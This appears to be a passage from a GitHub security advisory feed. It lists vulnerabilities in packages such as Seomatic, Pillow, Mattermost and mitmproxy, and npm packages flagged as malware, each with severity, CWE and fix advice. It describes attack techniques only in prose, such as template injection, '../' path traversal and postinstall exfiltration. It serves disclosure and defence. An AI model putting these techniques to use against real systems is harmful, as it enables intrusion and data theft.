In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `embedza`.


## Recommendation

Update to version 1.2.4 or later.
Vulnerability: GHSA-m3xv-x3ph-mq22
Summary: Server-side Template Injection in nystudio107/craft-seomatic
Aliases: CVE-2021-44618
Severity: HIGH
CVSS score: 9.8
CWE: CWE-94
Published: 2022-03-12T00:00:34Z

A Server-side Template Injection (SSTI) vulnerability exists in Nystudio107 Seomatic prior to 3.4.12 in src/helpers/UrlHelper.php via the host header.
Vulnerability: GHSA-crr2-ph72-c52g
Summary: Malicious Package in my-very-own-package
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T17:27:22Z

All versions of `my-very-own-package` contain malicious code. The package sends the output of `process.versions`, `process.arch` and `process.platform` to a remote server in a postinstall script.


## Recommendation

Remove the package from your environment. There are no further signs of compromise.
Vulnerability: GHSA-p43w-g3c5-g5mq
Summary: Out of bounds read in Pillow
Aliases: CVE-2021-25293
Severity: HIGH
CVSS score: 7.5
CWE: CWE-125
Published: 2021-03-29T16:35:27Z

An issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in SGIRleDecode.c.
Vulnerability: GHSA-4fcw-pq4r-f4q7
Summary: Server-Side Request Forgery in Spinnaker Orca
Aliases: CVE-2020-9298
Severity: HIGH
CVSS score: 7.5
CWE: CWE-918
Published: 2021-05-07T15:54:31Z

The Spinnaker template resolution functionality is vulnerable to Server-Side Request Forgery (SSRF), which allows an attacker to send requests on behalf of Spinnaker potentially leading to sensitive data disclosure.
Vulnerability: GHSA-v988-828w-xvf2
Summary: Authentication Bypass Using an Alternate Path or Channel and Authentication Bypass by Primary Weakness in rucio-webui
Severity: HIGH
CVSS score: 0
CWE: CWE-288, CWE-305
Published: 2021-10-22T16:21:07Z

### Impact
`rucio-webui` installations of the `1.26` release line potentially leak the contents of cookies to other sessions within a wsgi container. Impact is that Rucio authentication tokens are leaked to other users accessing the `webui` within a close timeframe, thus allowing users to access the `webui` with the leaked authentication token. Privileges are therefore also escalated.

Rucio server / daemons are not affected by this issue, it is isolated to the webui.

### Patches
This issue is fixed in the `1.26.7` release of the `rucio-webui`.

### Workarounds
Installation of the `1.25.7` `webui` release. The `1.25` and previous webui release lines are not affected by this issue.

### References
https://github.com/rucio/rucio/issues/4928
Vulnerability: GHSA-qggc-pj29-j27m
Summary: Improper Privilege Management in Mattermost
Aliases: CVE-2022-1332
Severity: MODERATE
CVSS score: 4.3
CWE: CWE-200, CWE-269
Published: 2022-04-14T00:00:17Z

One of the API in Mattermost version 6.4.1 and earlier fails to properly protect the permissions, which allows the authenticated members with restricted custom admin role to bypass the restrictions and view the server logs and server config.json file contents. Per the Mattermost security updates page, versions 6.4.2, 6.3.5, 6.2.5, and 5.37.9 contain patches for this issue
Vulnerability: GHSA-5q8m-mqmx-pxp9
Summary: Spring Data Commons contain a property path parser vulnerability caused by unlimited resource allocation
Aliases: CVE-2018-1274
Severity: HIGH
CVSS score: 7.5
CWE: CWE-770
Published: 2018-10-17T17:23:44Z

Spring Data Commons, versions 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property path parser vulnerability caused by unlimited resource allocation. An unauthenticated remote malicious user (or attacker) can issue requests against Spring Data REST endpoints or endpoints using property path parsing which can cause a denial of service (CPU and memory consumption).
Vulnerability: GHSA-954j-f27r-cj52
Summary: Cleartext storage of session identifier
Aliases: CVE-2020-26228
Severity: HIGH
CVSS score: 8.1
CWE: CWE-312
Published: 2020-11-23T21:18:36Z

User session identifiers were stored in cleartext - without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance SQL injection in any other component of the system.

### Solution
Update to TYPO3 versions 9.5.23 or 10.4.10 that fix the problem described.

### Credits
Thanks to TYPO3 security team member Helmut Hummel who reported this issue and to TYPO3 core & security team members Benni Mack & Oliver Hader as well as TYPO3 contributor Markus Klein who fixed the issue.
Vulnerability: GHSA-c7fh-chf7-jr5x
Summary: ReDOS in Vfsjfilechooser2
Aliases: CVE-2021-29061
Severity: HIGH
CVSS score: 7.5
CWE: CWE-770
Published: 2022-01-06T18:44:27Z

A Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Vfsjfilechooser2 which occurs when the application attempts to validate crafted URIs.
Vulnerability: GHSA-cmc7-mfmr-xqrx
Summary: Logic error in authentication in proxy.py
Aliases: CVE-2021-3116
Severity: HIGH
CVSS score: 7.5
CWE: CWE-287, CWE-480
Published: 2021-04-07T21:01:25Z

before_upstream_connection in AuthPlugin in http/proxy/auth.py in proxy.py before 2.3.1 accepts incorrect Proxy-Authorization header data because of a boolean confusion (and versus or).
Vulnerability: GHSA-2xwq-h7r9-6w27
Summary: Cross-site Scripting in kimai2
Aliases: CVE-2021-3957
Severity: MODERATE
CVSS score: 4.6
CWE: CWE-352
Published: 2021-11-23T17:59:40Z

Cross site request forgery vulnerability is present in delete functionality of doctor feature. This vulnerability is capable of deleting system logs
Vulnerability: GHSA-q8qj-fc9q-cphr
Summary: Undefined behavior in Tensorflow
Aliases: CVE-2020-15191
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-252, CWE-20, CWE-476
Published: 2020-09-25T18:28:25Z

### Impact
If a user passes an invalid argument to `dlpack.to_dlpack` the expected validations will cause variables to bind to `nullptr` while setting a `status` variable to the error condition.

However, this `status` argument is not properly checked:
https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L265-L267

Hence, code following these methods will bind references to null pointers:
https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L279-L285

This is undefined behavior and reported as an error if compiling with `-fsanitize=null`.

### Patches
We have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.

We recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been discovered during variant analysis of [GHSA-rjjg-hgv6-h69v](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v).
Vulnerability: GHSA-277p-xwpp-3jf7
Summary: Malicious Package in rrgod
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-02T15:49:22Z

All versions of `rrgod` are considered malicious. The package is malware designed to run arbitrary scripts. When installed, the package downloads an arbitrary file and executes its contents as a pre, post and install scripts.


## Recommendation

This package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.
Vulnerability: GHSA-vrh8-27q8-fr8f
Summary: Low severity vulnerability that affects org.apache.solr:solr-core
Aliases: CVE-2017-3164
Severity: HIGH
CVSS score: 7.5
CWE: CWE-918
Published: 2019-03-14T15:39:56Z

Server Side Request Forgery in Apache Solr, versions 1.3 until 7.6 (inclusive). Since the "shards" parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.
Vulnerability: GHSA-fqfj-cmh6-hj49
Summary: Ruby OpenID
Aliases: CVE-2019-11027
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-918
Published: 2019-06-13T16:15:56Z

Ruby OpenID (aka ruby-openid) through 2.8.0 has a remotely exploitable flaw. This library is used by Rails web applications to integrate with OpenID Providers. Severity can range from medium to critical, depending on how a web application developer chose to employ the ruby-openid library. Developers who based their OpenID integration heavily on the "example app" provided by the project are at highest risk.
Vulnerability: GHSA-cvh5-p6r6-g2qc
Summary: Exposed phpinfo() leadked via documentation files
Aliases: CVE-2021-37704
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-200, CWE-668
Published: 2021-08-30T16:13:40Z

### Impact
The `phpinfo()` can be exposed if the `/vendor` is not protected from public access. This is a rare situation today since the vendor directory is often located outside the web directory or protected via server rule (.htaccess, etc).

### Patches
Only the v6, v7 and v8 will be patched respectively in 8.0.7, 7.1.2, 6.1.5.
Older versions such as v5, v4 are not longer supported and will **NOT** be patched.

### Workarounds
Protect the `/vendor` directory from public access.

### References
The first issue revealing this vulnerability is located here: https://github.com/flextype/flextype/issues/567
V6 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/815
V7 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/814
V8 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/813

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [our issue tracker](https://github.com/PHPSocialNetwork/phpfastcache/issues)
* Email us at [security@geolim4.com](mailto:security@geolim4.com)
Vulnerability: GHSA-gcx2-gvj7-pxv3
Summary: Insufficient Protection against HTTP Request Smuggling in mitmproxy
Aliases: CVE-2022-24766
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-444
Published: 2022-03-22T19:22:59Z

### Impact

In mitmproxy 7.0.4 and below, a malicious client or server is able to perform [HTTP request smuggling](https://en.wikipedia.org/wiki/HTTP_request_smuggling) attacks through mitmproxy. This means that a malicious client/server could smuggle a request/response through mitmproxy as part of another request/response's HTTP message body. While mitmproxy would only see one request, the target server would see multiple requests. A smuggled request is still captured as part of another request's body, but it does not appear in the request list and does not go through the usual mitmproxy event hooks, where users may have implemented custom access control checks or input sanitization.

Unless you use mitmproxy to protect an HTTP/1 service, no action is required.


### Patches

The vulnerability has been fixed in mitmproxy 8.0.0 and above.


### Acknowledgements

We thank Zeyu Zhang (@zeyu2001) for responsibly disclosing this vulnerability to the mitmproxy team.


### Timeline

- **2022-03-15**: Received initial report.
- **2022-03-15**: Verified report and confirmed receipt.
- **2022-03-16**: Shared patch with researcher.
- **2022-03-16**: Received confirmation that patch is working.
- **2022-03-19**: Published patched release and advisory.
Vulnerability: GHSA-3gqj-cmxr-p4x2
Summary: Forced Browsing in Twisted
Aliases: CVE-2016-1000111
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-425
Published: 2021-04-30T17:32:28Z

Twisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the HTTP_PROXY environment variable, which might allow remote attackers to redirect a CGI application&#39;s outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an &quot;httpoxy&quot; issue.
Vulnerability: GHSA-2q95-593f-g7h7
Summary: OS Command Injection in Centreon
Aliases: CVE-2020-22345
Severity: HIGH
CVSS score: 8.8
CWE: CWE-78
Published: 2021-09-02T17:16:06Z

/graphStatus/displayServiceStatus.php in Centreon 19.10.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the RRDdatabase_path parameter.
Vulnerability: GHSA-74hh-4rcv-pp27
Summary: Malicious Package in bitconijs-lib
Severity: CRITICAL
CVSS score: 9.1
CWE: CWE-506
Published: 2020-09-04T16:44:19Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-gcqq-w6gr-h9j9
Summary: Directory traversal vulnerability in RubyZip
Aliases: CVE-2017-5946
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-22
Published: 2017-10-24T18:33:35Z

The Zip::File component in the rubyzip gem before 1.2.1 for Ruby has a directory traversal vulnerability. If a site allows uploading of .zip files, an attacker can upload a malicious file that uses "../" pathname substrings to write arbitrary files to the filesystem.
Vulnerability: GHSA-q52j-4q2q-hcj6
Summary: Authentication Bypass in console-io
Aliases: CVE-2016-10532
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-287
Published: 2019-02-18T23:39:39Z

Affected versions of the `console-io` package do not configure the underlying websocket library to require authentication, resulting in an authentication bypass vulnerability. As `console-io` allows terminal access on the server via a web page, an authentication bypass is essentially remote code execution.



## Recommendation

Update to version 2.3.0 or later.